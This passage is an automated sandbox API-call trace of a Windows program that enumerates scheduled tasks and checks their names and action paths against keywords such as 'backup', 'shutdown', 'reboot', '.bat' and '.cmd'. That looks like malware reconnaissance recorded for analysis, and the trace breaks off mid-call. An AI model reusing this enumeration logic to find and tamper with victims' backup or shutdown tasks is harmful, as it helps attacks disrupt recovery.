ITaskDefinition:get_Actions (in: This=0x47ff28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47ffa0) returned 0x0 [0209.970] IActionCollection:get_Count (in: This=0x47ffa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0209.970] IActionCollection:get_Item (in: This=0x47ffa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0209.971] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0209.971] IUnknown:Release (This=0x2463748) returned 0x1 [0209.971] IUnknown:Release (This=0x47ffa0) returned 0x1 [0209.971] IUnknown:Release (This=0x47ff28) returned 0x0 [0209.971] IUnknown:Release (This=0x47fde8) returned 0x0 [0209.971] IUnknown:Release (This=0x2463648) returned 0x0 [0209.971] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0209.971] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0209.971] IUnknown:Release (This=0x24635a8) returned 0x0 [0209.971] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0209.971] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0209.971] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0209.972] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0209.972] IUnknown:Release (This=0x24636c8) returned 0x0 [0209.972] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0209.974] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0209.974] IUnknown:Release (This=0x24635a8) returned 0x0 [0209.974] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0209.974] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0209.974] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0209.975] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0209.976] IUnknown:Release (This=0x2463648) returned 0x0 [0209.976] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0209.976] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0209.976] IUnknown:Release (This=0x47fcb8) returned 0x0 [0209.976] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0209.976] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0209.976] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0209.977] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0209.977] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fcb8) returned 0x0 [0209.977] IRegisteredTask:get_Name (in: This=0x47fcb8, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Proxy") returned 0x0 [0209.977] IRegisteredTask:get_State (in: This=0x47fcb8, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0209.978] IUnknown:Release (This=0x47fcb8) returned 0x0 [0209.978] IUnknown:Release (This=0x24636c8) returned 0x0 [0209.978] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0209.978] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0209.979] IUnknown:Release (This=0x24635a8) returned 0x0 [0209.979] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0209.979] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0209.979] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0209.979] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0209.979] IUnknown:Release (This=0x2463648) returned 0x0 [0209.979] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0209.979] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0209.980] IUnknown:Release (This=0x47fcb8) returned 0x0 [0209.980] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0209.980] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0209.980] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0209.980] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0209.980] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd20) returned 0x0 [0209.980] IRegisteredTask:get_Name (in: This=0x47fd20, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask") returned 0x0 [0209.980] IRegisteredTask:get_State (in: This=0x47fd20, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0209.982] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0209.982] wcsstr (_Str="usertask", _SubStr="reboot") returned 0x0 [0209.982] wcsstr (_Str="usertask", _SubStr="restart") returned 0x0 [0209.982] wcsstr (_Str="usertask", _SubStr="shutdown") returned 0x0 [0209.982] wcsstr (_Str="usertask", _SubStr="logoff") returned 0x0 [0209.982] wcsstr (_Str="usertask", _SubStr=".bat") returned 0x0 [0209.982] wcsstr (_Str="usertask", _SubStr="backup") returned 0x0 [0209.982] wcsstr (_Str="usertask", _SubStr=".cmd") returned 0x0 [0209.982] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0209.982] IRegisteredTask:get_Definition (in: This=0x47fd20, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fde0) returned 0x0 [0209.988] ITaskDefinition:get_Actions (in: This=0x47fde0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe58) returned 0x0 [0209.988] IActionCollection:get_Count (in: This=0x47fe58, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0209.988] IActionCollection:get_Item (in: This=0x47fe58, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0209.988] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0209.988] IUnknown:Release (This=0x2463708) returned 0x1 [0209.988] IUnknown:Release (This=0x47fe58) returned 0x1 [0209.988] IUnknown:Release (This=0x47fde0) returned 0x0 [0209.988] IUnknown:Release (This=0x47fd20) returned 0x0 [0209.988] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0209.988] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask-Roam") returned 0x0 [0209.988] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0209.990] IUnknown:Release (This=0x2464e30) returned 0x0 [0209.990] IUnknown:Release (This=0x2463648) returned 0x0 [0209.990] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0209.991] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0209.991] IUnknown:Release (This=0x2464e30) returned 0x0 [0209.991] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0209.991] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0209.991] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0209.991] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0209.991] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0209.992] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Consolidator") returned 0x0 [0209.992] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0209.993] IUnknown:Release (This=0x2464e30) returned 0x0 [0209.993] IUnknown:Release (This=0x2463648) returned 0x0 [0209.993] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0209.993] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0209.993] IUnknown:Release (This=0x2464e30) returned 0x0 [0209.993] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0209.994] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0209.994] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0209.994] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0209.994] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0209.994] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ScheduledDefrag") returned 0x0 [0209.994] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0209.996] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f43a8 [0209.996] wcsstr (_Str="scheduleddefrag", _SubStr="reboot") returned 0x0 [0209.996] wcsstr (_Str="scheduleddefrag", _SubStr="restart") returned 0x0 [0209.996] wcsstr (_Str="scheduleddefrag", _SubStr="shutdown") returned 0x0 [0209.996] wcsstr (_Str="scheduleddefrag", _SubStr="logoff") returned 0x0 [0209.996] wcsstr (_Str="scheduleddefrag", _SubStr=".bat") returned 0x0 [0209.996] wcsstr (_Str="scheduleddefrag", _SubStr="backup") returned 0x0 [0209.996] wcsstr (_Str="scheduleddefrag", _SubStr=".cmd") returned 0x0 [0209.996] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f43a8) returned 1 [0209.996] IRegisteredTask:get_Definition (in: This=0x2464e30, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ee0) returned 0x0 [0210.004] ITaskDefinition:get_Actions (in: This=0x2464ee0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f58) returned 0x0 [0210.004] IActionCollection:get_Count (in: This=0x2464f58, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.004] IActionCollection:get_Item (in: This=0x2464f58, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.004] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.004] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.004] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\defrag.exe") returned 0x0 [0210.004] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c2620 [0210.004] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="reboot") returned 0x0 [0210.004] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="restart") returned 0x0 [0210.004] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="shutdown") returned 0x0 [0210.004] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="logoff") returned 0x0 [0210.004] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".bat") returned 0x0 [0210.004] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="backup") returned 0x0 [0210.004] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".cmd") returned 0x0 [0210.004] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2620) returned 1 [0210.004] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-c") returned 0x0 [0210.004] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8978 [0210.004] wcsstr (_Str="-c", _SubStr="reboot") returned 0x0 [0210.004] wcsstr (_Str="-c", _SubStr="restart") returned 0x0 [0210.004] wcsstr (_Str="-c", _SubStr="shutdown") returned 0x0 [0210.004] wcsstr (_Str="-c", _SubStr="logoff") returned 0x0 [0210.005] wcsstr (_Str="-c", _SubStr=".bat") returned 0x0 [0210.005] wcsstr (_Str="-c", _SubStr="backup") returned 0x0 [0210.005] wcsstr (_Str="-c", _SubStr=".cmd") returned 0x0 [0210.005] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8978) returned 1 [0210.005] IUnknown:Release (This=0x2463688) returned 0x2 [0210.005] IUnknown:Release (This=0x2463688) returned 0x1 [0210.005] IUnknown:Release (This=0x2464f58) returned 0x1 [0210.005] IUnknown:Release (This=0x2464ee0) returned 0x0 [0210.006] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.006] IUnknown:Release (This=0x24636c8) returned 0x0 [0210.006] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.007] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.007] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.007] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.007] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.007] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.008] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.008] IUnknown:Release (This=0x2463648) returned 0x0 [0210.008] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.008] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.008] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.008] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.008] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.008] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.009] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.009] IUnknown:Release (This=0x2463648) returned 0x0 [0210.009] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.009] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.009] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.009] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.009] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.009] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0210.011] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.011] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.011] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Notifications") returned 0x0 [0210.011] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.013] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e5e20 [0210.013] wcsstr (_Str="notifications", _SubStr="reboot") returned 0x0 [0210.013] wcsstr (_Str="notifications", _SubStr="restart") returned 0x0 [0210.013] wcsstr (_Str="notifications", _SubStr="shutdown") returned 0x0 [0210.013] wcsstr (_Str="notifications", _SubStr="logoff") returned 0x0 [0210.013] wcsstr (_Str="notifications", _SubStr=".bat") returned 0x0 [0210.013] wcsstr (_Str="notifications", _SubStr="backup") returned 0x0 [0210.013] wcsstr (_Str="notifications", _SubStr=".cmd") returned 0x0 [0210.013] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5e20) returned 1 [0210.013] IRegisteredTask:get_Definition (in: This=0x2464e30, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ee0) returned 0x0 [0210.017] ITaskDefinition:get_Actions (in: This=0x2464ee0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f58) returned 0x0 [0210.018] IActionCollection:get_Count (in: This=0x2464f58, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.018] IActionCollection:get_Item (in: This=0x2464f58, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0210.018] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.018] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0210.018] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\System32\\LocationNotifications.exe") returned 0x0 [0210.018] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x58) returned 0x6d9258 [0210.018] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="reboot") returned 0x0 [0210.018] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="restart") returned 0x0 [0210.018] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="shutdown") returned 0x0 [0210.018] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="logoff") returned 0x0 [0210.018] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".bat") returned 0x0 [0210.018] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="backup") returned 0x0 [0210.018] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".cmd") returned 0x0 [0210.018] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9258) returned 1 [0210.018] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0210.018] IUnknown:Release (This=0x2463788) returned 0x2 [0210.018] IUnknown:Release (This=0x2463788) returned 0x1 [0210.018] IUnknown:Release (This=0x2464f58) returned 0x1 [0210.018] IUnknown:Release (This=0x2464ee0) returned 0x0 [0210.018] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.018] IUnknown:Release (This=0x24636c8) returned 0x0 [0210.018] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.019] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.019] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.019] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.019] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.019] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.019] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.019] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.019] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="WinSAT") returned 0x0 [0210.019] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.022] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.022] IUnknown:Release (This=0x2463648) returned 0x0 [0210.022] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.022] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.022] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.022] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.022] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.022] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.024] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=21) returned 0x0 [0210.024] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.024] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ActivateWindowsSearch") returned 0x0 [0210.024] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.125] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6cab40 [0210.125] wcsstr (_Str="activatewindowssearch", _SubStr="reboot") returned 0x0 [0210.125] wcsstr (_Str="activatewindowssearch", _SubStr="restart") returned 0x0 [0210.126] wcsstr (_Str="activatewindowssearch", _SubStr="shutdown") returned 0x0 [0210.126] wcsstr (_Str="activatewindowssearch", _SubStr="logoff") returned 0x0 [0210.126] wcsstr (_Str="activatewindowssearch", _SubStr=".bat") returned 0x0 [0210.126] wcsstr (_Str="activatewindowssearch", _SubStr="backup") returned 0x0 [0210.126] wcsstr (_Str="activatewindowssearch", _SubStr=".cmd") returned 0x0 [0210.126] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab40) returned 1 [0210.126] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f38) returned 0x0 [0210.133] ITaskDefinition:get_Actions (in: This=0x2464f38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.133] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.133] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.133] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.133] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, 